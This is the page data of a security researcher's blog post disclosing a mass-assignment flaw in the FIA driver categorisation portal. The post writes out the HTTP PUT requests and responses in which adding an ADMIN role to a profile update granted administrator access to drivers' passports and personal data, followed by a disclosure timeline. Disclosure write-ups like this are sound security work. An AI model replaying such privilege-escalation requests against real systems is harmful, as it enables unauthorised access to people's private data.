872<script>self.__next_f.push([1,"24:I[325618,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"PasswordPageLayoutProvider\"]\n25:I[183555,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"NavigationContent\"]\n26:I[713503,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/2ggeb0g51xxjo.js\"],\"default\"]\n28:I[678415,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"NavigationEvents\"]\n29:I[982642,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"LinkUpgrader\"]\n2a:I[245155,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"LightboxEnhancer\"]\n2b:I[818466,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"SpeedInsights\"]\n1f:[\"$\",\"div\",null,{\"className\":\"super-root\",\"children\":[null,[\"$\",\"$L24\",null,{\"children\":[\"$\",\"$L25\",null,{\"settings\":\"$18:props:children:0:props:settings\",\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$26\",\"errorStyles\":[],\"errorScripts\":[[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/2ggeb0g51xxjo.js\",\"async\":true}]],\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[\"$L27\",[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}]\n20:[\"$\",\"$L28\",null,{}]\n21:[\"$\",\"$L29\",null,{}]\n22:[\"$\",\"$L2a\",null,{}]\n23:[\"$\",\"$L2b\",null,{\"sampleRate\":0.3}]\n"])</script>
872<script>self.__next_f.push([1,"2c:I[208077,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"ErrorPage\"]\n27:[\"$\",\"$L2c\",null,{\"type\":\"notfound\"}]\n"])</script>
872<script>self.__next_f.push([1,"2d:I[23131,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"PageProvider\"]\n5:[\"$\",\"$L2d\",null,{\"pageReplacement\":\"$undefined\",\"getWebVital\":false,\"pageId\":\"fia\",\"records\":{\"__version__\":3,\"block\":{\"fia\":{\"id\":\"fia\",\"children\":[\"2843b9a56b2b80979101f9b033ee868e\",\"2843b9a56b2b8097bc26ca6042b21f8e\",\"2843b9a56b2b805eabf5f59ca0a8f535\",\"2843b9a56b2b80e9946ad5373696cf37\",\"2843b9a56b2b80d68646e104a77c5b59\",\"2853b9a56b2b80e980c8f60607a86708\",\"2853b9a56b2b80cebbb9da00c1df0b23\",\"2843b9a56b2b805ab50cdacf67253c2b\",\"2843b9a56b2b80ad80a9fcc06676ce2a\",\"2843b9a56b2b800d9d02c26034778a4e\",\"2843b9a56b2b80f3a8fed3a5f1de5edc\",\"2843b9a56b2b8092b49bf4490c4e025c\",\"2843b9a56b2b806fa8b9c037bc6d871e\",\"2843b9a56b2b80fbbb97f879ca7e4cda\",\"2843b9a56b2b8076b206eecaa9e88245\",\"2843b9a56b2b80659cddc18d808ccd83\",\"2843b9a56b2b80d8afa4f739a308aefe\",\"2843b9a56b2b8021ba9edadcbe414786\",\"2843b9a56b2b80128aa5e4634df8e8e3\",\"2843b9a56b2b809b971ed611ad91ac3b\",\"2843b9a56b2b800db3faf7a7226c16df\",\"2843b9a56b2b806f85f4e5d36110d92c\",\"2843b9a56b2b80c6a2fcd96f2fe12615\",\"2933b9a56b2b8099a8fdfc81e630be86\",\"2843b9a56b2b800bafbfde7ba90e9f96\",\"2843b9a56b2b80d0acdbc56f4201c6be\",\"2843b9a56b2b808099f5ca0414a077d7\",\"2843b9a56b2b8079bafbf0c0ef6a69cf\",\"2843b9a56b2b80e197a6ecee1b918f07\",\"2933b9a56b2b807c80efe36700d9d249\",\"2953b9a56b2b80858241cb0c13079977\",\"2953b9a56b2b80479191c2f5e55585fd\",\"2953b9a56b2b80889324c0154dcb5ce7\"],\"hasContent\":true,\"parentId\":\"0f34388b710345ddb010281f11fd0528\",\"title\":[[\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"]],\"updatedAt\":1761257342350,\"type\":\"page\",\"spaceId\":\"5cd0a822-39d2-4a8a-977e-cf7f08be1560\",\"coverPosition\":0.5,\"createdTime\":1759761804322,\"lastEditedTime\":1761257342350,\"createdBy\":[{\"0\":\"â£\",\"1\":[{\"0\":\"u\"}]}],\"lastEditedBy\":[{\"0\":\"â£\",\"1\":[{\"0\":\"u\"}]}],\"uri\":\"/fia\",\"fullWidth\":false,\"smallText\":false,\"cover\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"noCover\":false,\"superProperties\":{},\"propertyValues\":{},\"blockId\":\"2843b9a5-6b2b-8086-b7b7-ead74c325770\"},\"2843b9a56b2b80979101f9b033ee868e\":{\"id\":\"2843b9a56b2b80979101f9b033ee868e\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Introduction\"]],\"updatedAt\":1759762589624,\"type\":\"heading\",\"subType\":\"sub_header\",\"depth\":2},\"2843b9a56b2b8097bc26ca6042b21f8e\":{\"id\":\"2843b9a56b2b8097bc26ca6042b21f8e\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.\"]],\"updatedAt\":1759813261389,\"type\":\"text\"},\"2843b9a56b2b805eabf5f59ca0a8f535\":{\"id\":\"2843b9a56b2b805eabf5f59ca0a8f535\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, \"],[\"Gal Nagli\",[[\"a\",\"https://x.com/galnagli\"]]],[\", \"],[\"Sam Curry\",[[\"a\",\"https://x.com/samwcyo\"]]],[\", and \"],[\"I\",[[\"a\",\"https://x.com/iangcarroll\"]]],[\" thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.\"]],\"updatedAt\":1761078856933,\"type\":\"text\"},\"2843b9a56b2b80e9946ad5373696cf37\":{\"id\":\"2843b9a56b2b80e9946ad5373696cf37\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.\",[[\"i\",null]]]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b80d68646e104a77c5b59\":{\"id\":\"2843b9a56b2b80d68646e104a77c5b59\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Finding F1 Driver Licenses\"]],\"updatedAt\":1759813631654,\"type\":\"heading\",\"subType\":\"sub_header\",\"depth\":2},\"2853b9a56b2b80e980c8f60607a86708\":{\"id\":\"2853b9a56b2b80e980c8f60607a86708\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"To race in Formula 1, drivers hold an \"],[\"FIA Super Licence\",[[\"b\",null]]],[\". Itâs issued annually through a driverâs national motorsport authority (ASN) once theyâve met the FIAâs requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.\"]],\"updatedAt\":1759814756647,\"type\":\"text\"},\"2853b9a56b2b80cebbb9da00c1df0b23\":{\"id\":\"2853b9a56b2b80cebbb9da00c1df0b23\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"F1 drivers often compete outside Grands Prix as well, where the FIA uses a \"],[\"Driver Categorisation\",[[\"b\",null]]],[\" (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at \"],[\"drivercategorisation.fia.com\",[[\"b\",null]]],[\", which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.\"]],\"updatedAt\":1759814771874,\"type\":\"text\"},\"2843b9a56b2b805ab50cdacf67253c2b\":{\"id\":\"2843b9a56b2b805ab50cdacf67253c2b\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1759762589624,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public\",\"altText\":\"The public login page for the Driver Categorisation portal..\",\"isCaptionLink\":false,\"link\":null,\"width\":-1,\"height\"
872:-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":-1,\"preserveScale\":true},\"2843b9a56b2b80ad80a9fcc06676ce2a\":{\"id\":\"2843b9a56b2b80ad80a9fcc06676ce2a\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:\"]],\"updatedAt\":1759814028386,\"type\":\"text\"},\"2843b9a56b2b800d9d02c26034778a4e\":{\"id\":\"2843b9a56b2b800d9d02c26034778a4e\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"PUT /api/users/12934 HTTP/1.1\\nHost: driverscategorisation.fia.com\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36\\nContent-Length: 246\\nContent-Type: application/json\\n\\n{\\n \\\"id\\\": 12934,\\n \\\"email\\\": \\\"[email protected]\\\",\\n \\\"firstName\\\": \\\"Sam\\\",\\n \\\"lastName\\\": \\\"Curry\\\",\\n \\\"nickName\\\": null\\n}\"]],\"updatedAt\":1759813744732,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null},\"2843b9a56b2b80f3a8fed3a5f1de5edc\":{\"id\":\"2843b9a56b2b80f3a8fed3a5f1de5edc\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:\"]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b8092b49bf4490c4e025c\":{\"id\":\"2843b9a56b2b8092b49bf4490c4e025c\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"HTTP/1.1 200\\nContent-type: application/json\\nContent-Length: 313\\n\\n{\\n \\\"id\\\": 12934,\\n \\\"email\\\": \\\"[email protected]\\\",\\n \\\"firstName\\\": \\\"Sam\\\",\\n \\\"lastName\\\": \\\"Curry\\\",\\n \\\"nickName\\\": null,\\n \\\"keepNamePrivate\\\": false,\\n \\\"nickName2\\\": null,\\n \\\"birthDate\\\": \\\"2000-02-17\\\",\\n \\\"gender\\\": null,\\n \\\"token\\\": null,\\n \\\"roles\\\": null,\\n \\\"country\\\": null,\\n \\\"filters\\\": [],\\n \\\"status\\\": \\\"ACTIVATED\\\",\\n \\\"secondaryEmail\\\": null\\n}\"]],\"updatedAt\":1761154796473,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null},\"2843b9a56b2b806fa8b9c037bc6d871e\":{\"id\":\"2843b9a56b2b806fa8b9c037bc6d871e\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"The JSON HTTP response for updating our own profile contained the \\\"roles\\\" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.\"]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b80fbbb97f879ca7e4cda\":{\"id\":\"2843b9a56b2b80fbbb97f879ca7e4cda\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1759762589624,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public\",\"altText\":\"JavaScript from the FIA Driver Categorisation portal.\",\"isCaptionLink\":false,\"link\":null,\"width\":-1,\"height\":-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":-1,\"preserveScale\":true},\"2843b9a56b2b8076b206eecaa9e88245\":{\"id\":\"2843b9a56b2b8076b206eecaa9e88245\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:\"]],\"updatedAt\":1761154973078,\"type\":\"text\"},\"2843b9a56b2b80659cddc18d808ccd83\":{\"id\":\"2843b9a56b2b80659cddc18d808ccd83\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"PUT /api/users/12934 HTTP/1.1\\nHost: driverscategorisation.fia.com\\nUser
872-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36\\nContent-Length: 246\\nContent-Type: application/json\\n\\n{\\n \\\"id\\\": 12934,\\n \\\"email\\\": \\\"[email protected]\\\",\\n \\\"firstName\\\": \\\"Sam\\\",\\n \\\"lastName\\\": \\\"Curry\\\",\\n \\\"nickName\\\": null,\\n \\\"roles\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"description\\\": \\\"ADMIN role\\\",\\n \\\"name\\\": \\\"ADMIN\\\"\\n }\\n ]\\n}\"]],\"updatedAt\":1759813762008,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null},\"2843b9a56b2b80d8afa4f739a308aefe\":{\"id\":\"2843b9a56b2b80d8afa4f739a308aefe\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.\"]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b8021ba9edadcbe414786\":{\"id\":\"2843b9a56b2b8021ba9edadcbe414786\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"HTTP/1.1 200\\nContent-type: application/json\\nContent-Length: 313\\n\\n{\\n \\\"id\\\": 12934,\\n \\\"email\\\": \\\"[email protected]\\\",\\n \\\"firstName\\\": \\\"Sam\\\",\\n \\\"lastName\\\": \\\"Curry\\\",\\n \\\"nickName\\\": null,\\n \\\"keepNamePrivate\\\": false,\\n \\\"nickName2\\\": null,\\n \\\"birthDate\\\": \\\"1999-10-17\\\",\\n \\\"gender\\\": null,\\n \\\"token\\\": null,\\n \\\"roles\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"description\\\": \\\"ADMIN role\\\",\\n \\\"name\\\": \\\"ADMIN\\\"\\n }\\n ],\\n \\\"country\\\": null,\\n \\\"filters\\\": [],\\n \\\"status\\\": \\\"ACTIVATED\\\",\\n \\\"secondaryEmail\\\": null\\n}\\n\"]],\"updatedAt\":1759813765251,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null},\"2843b9a56b2b80128aa5e4634df8e8e3\":{\"id\":\"2843b9a56b2b80128aa5e4634df8e8e3\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.\"]],\"updatedAt\":1761078389618,\"type\":\"text\"},\"2843b9a56b2b809b971ed611ad91ac3b\":{\"id\":\"2843b9a56b2b809b971ed611ad91ac3b\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1759762589624,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public\",\"altText\":\"Accessing the driver categorisation portal as an administrator.\",\"isCaptionLink\":false,\"link\":null,\"width\":-1,\"height\":-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":-1,\"preserveScale\":true},\"2843b9a56b2b800db3faf7a7226c16df\":{\"id\":\"2843b9a56b2b800db3faf7a7226c16df\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.\"]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b806f85f4e5d36110d92c\":{\"id\":\"2843b9a56b2b806f85f4e5d36110d92c\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1759762589624,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public\",\"altText\":\"Internal FIA comments about the categorisation of a professional F1 driver.\",\"isCaptionLink\":false,\"link\":null,\"width\":-1,\"height\":-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":-1,\"preserveScale\":true},\"2843b9a56b2b80c6a2fcd96f2fe12615\":{\"id\":\"2843b9a56b2b80c6a2fcd96f2fe12615\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. \"],[\"We did not access any passports / sensitive information and all data has been deleted.\",[[\"b\",null]]]],\"updatedAt\":1761078478838,\"type\":\"text\"},\"2933b9a56b2b8099a8fdfc81e630be86\":{\"id\":\"2933b9a56b2b8099a8fdfc81e630be86\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1761078518641,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public\",\"altText\":null,\"isCaptionLink\":false,\"link\":null,\"width\":709.8828125,\"height\"
872:-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":0.20730938878386893,\"preserveScale\":true},\"2843b9a56b2b800bafbfde7ba90e9f96\":{\"id\":\"2843b9a56b2b800bafbfde7ba90e9f96\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Disclosure timeline\"]],\"updatedAt\":1759762589624,\"type\":\"heading\",\"subType\":\"sub_sub_header\",\"depth\":3},\"2843b9a56b2b80d0acdbc56f4201c6be\":{\"id\":\"2843b9a56b2b80d0acdbc56f4201c6be\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"06/03/2025: Initial disclosure to FIA via email and Linkedin\"]],\"updatedAt\":1761078422734,\"type\":\"bulleted_list\"},\"2843b9a56b2b808099f5ca0414a077d7\":{\"id\":\"2843b9a56b2b808099f5ca0414a077d7\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"06/03/2025: Initial response from FIA, site taken offline\"]],\"updatedAt\":1759814426692,\"type\":\"bulleted_list\"},\"2843b9a56b2b8079bafbf0c0ef6a69cf\":{\"id\":\"2843b9a56b2b8079bafbf0c0ef6a69cf\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"06/10/2025: Official response from FIA informing us of a comprehensive fix\"]],\"updatedAt\":1759814428082,\"type\":\"bulleted_list\"},\"2843b9a56b2b80e197a6ecee1b918f07\":{\"id\":\"2843b9a56b2b80e197a6ecee1b918f07\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"10/22/2025: Release of blog post, public disclosure\"]],\"updatedAt\":1761078436364,\"type\":\"bulleted_list\"},\"2933b9a56b2b807c80efe36700d9d249\":{\"id\":\"2933b9a56b2b807c80efe36700d9d249\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Collaborators\"]],\"updatedAt\":1761257342350,\"type\":\"heading\",\"subType\":\"sub_header\",\"depth\":2},\"2953b9a56b2b80858241cb0c13079977\":{\"id\":\"2953b9a56b2b80858241cb0c13079977\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Ian Carroll (\"],[\"https://x.com/iangcarroll\",[[\"a\",\"https://x.com/iangcarroll\"]]],[\")\"]],\"updatedAt\":1761257367737,\"type\":\"bulleted_list\"},\"2953b9a56b2b80479191c2f5e55585fd\":{\"id\":\"2953b9a56b2b80479191c2f5e55585fd\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Sam Curry (\"],[\"https://x.com/samwcyo\",[[\"a\",\"https://x.com/samwcyo\"]]],[\") \"]],\"updatedAt\":1761257360419,\"type\":\"bulleted_list\"},\"2953b9a56b2b80889324c0154dcb5ce7\":{\"id\":\"2953b9a56b2b80889324c0154dcb5ce7\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Gal Nagli (\"],[\"https://x.com/galnagli\",[[\"a\",\"https://x.com/galnagli\"]]],[\")\"]],\"updatedAt\":1761257351901,\"type\":\"bulleted_list\"},\"eb5f7782eeca437f927323f450f8f3dc\":{\"id\":\"eb5f7782eeca437f927323f450f8f3dc\",\"children\":[],\"hasContent\":true,\"parentId\":\"5cd0a82239d24a8a977ecf7f08be1560\",\"title\":[[\"ian carroll\"]],\"updatedAt\":1782905330713,\"type\":\"page\",\"spaceId\":\"5cd0a822-39d2-4a8a-977e-cf7f08be1560\",\"coverPosition\":0.6,\"createdTime\":1623485280000,\"lastEditedTime\":1782905330713,\"createdBy\":[{\"0\":\"â£\",\"1\":[{\"0\":\"u\"}]}],\"lastEditedBy\":[{\"0\":\"â£\",\"1\":[{\"0\":\"u\"}]}],\"description\":null,\"uri\":\"/eb5f7782eeca437f927323f450f8f3dc\",\"blockId\":\"eb5f7782-eeca-437f-9273-23f450f8f3dc\"},\"0f34388b710345ddb010281f11fd0528\":{\"id\":\"0f34388b710345ddb010281f11fd0528\",\"children\":[\"9dcaa40a05cd4f3d841d99e8f8369b98\",\"3833b9a56b2b80ff8b05c7b46ae62701\",\"20a3b9a56b2b802698bed03f970b0004\",\"fia\",\"2243b9a56b2b80119dbdd2e3b853e2fd\",\"1ef5621f5a1d4e898c18c751210455ef\",\"5321adeda0b1416dbb334e5a15e77230\",\"228f7c202242479ea93110ccb4c0c61b\",\"c52e87c8a4174ecf897b751b1f4cde7c\",\"4d83b148802f40d792d4b73dc69d7f40\",\"8dcf7d70a1404769aa5e5b407864aa68\",\"53ecb75e0dae42cc891ee8e1dde4c3a7\"],\"hasContent\":true,\"parentId\":\"5cc12f2c2a2b48cb854af497e0a7cad1\",\"title\":null,\"updatedAt\":1782905330713,\"type\":\"column\",\"ratio\":0.625},\"5cc12f2c2a2b48cb854af497e0a7cad1\":{\"id\":\"5cc12f2c2a2b48cb854af497e0a7cad1\",\"children\":[\"602a6ce7efc745ce8afd18b88e0fd33f\",\"0f34388b710345ddb010281f11fd0528\"],\"hasContent\":true,\"parentId\":\"eb5f7782eeca437f927323f450f8f3dc\",\"title\":null,\"updatedAt\":1623628560001,\"type\":\"column_list\",\"multiplyer\":1,\"fullWidth\":false,\"pageWidth\":false}},\"form_question\":{},\"entity\":{},\"pageId\":\"2843b9a56b2b8086b7b7ead74c325770\",\"pagesToCreate\":[]}
872,\"settings\":{\"siteId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e\",\"userId\":\"cb4e83cb-fe5e-4a17-9055-d11287041f68\",\"domainName\":\"ian.sh\",\"name\":\"Ian Carroll\",\"active\":true,\"free\":false,\"tier\":\"pro\",\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"fontFamily\":\"Inter\",\"legacyTheme\":\"default\",\"language\":\"en\",\"languages\":[],\"notionPage\":\"eb5f7782eeca437f927323f450f8f3dc\",\"indexPageId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::341116e4-b5b8-4753-89cb-a0ddbee82773\",\"pageProperties\":false,\"hidePageProperties\":true,\"disablePageProperties\":false,\"pageSyncing\":true,\"viewSwitcher\":true,\"layoutSidePanel\":true,\"floatingTableOfContents\":false,\"siteSearch\":false,\"advancedSearch\":true,\"themeToggle\":false,\"mondayFirst\":false,\"loadLimits\":false,\"hidePersonInfo\":false,\"showPropertyIcons\":false,\"filterRedirectsFromSearch\":false,\"redirectSubdomain\":null,\"noIndex\":false,\"viewsExceeded\":false,\"manualSync\":false,\"syncStatus\":\"unsynced\",\"publishedAt\":\"2026-07-01T11:29:18.496Z\",\"custom404Enabled\":false,\"membershipEnabled\":false,\"membershipConfigured\":false,\"suppressLoginEmail\":false,\"indexMembershipTierIds\":null,\"navbar\":null,\"footer\":null,\"sidebar\":null,\"theme\":null,\"code\":{\"head\":[],\"body\":[],\"style\":[],\"css\":\"\"},\"files\":[],\"hasPassword\":false,\"hasFeed\":false,\"membershipTierIds\":null},\"smallText\":false,\"config\":\"$undefined\",\"pageLocation\":\"/fia\",\"passwords\":[],\"styles\":\"\",\"children\":[\"$L2e\",\"$L2f\",null]}]\n"])</script>
872<script>self.__next_f.push([1,"30:I[137755,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"NotionNavbar\"]\n31:I[186656,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"Picture\"]\n32:I[618378,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_nex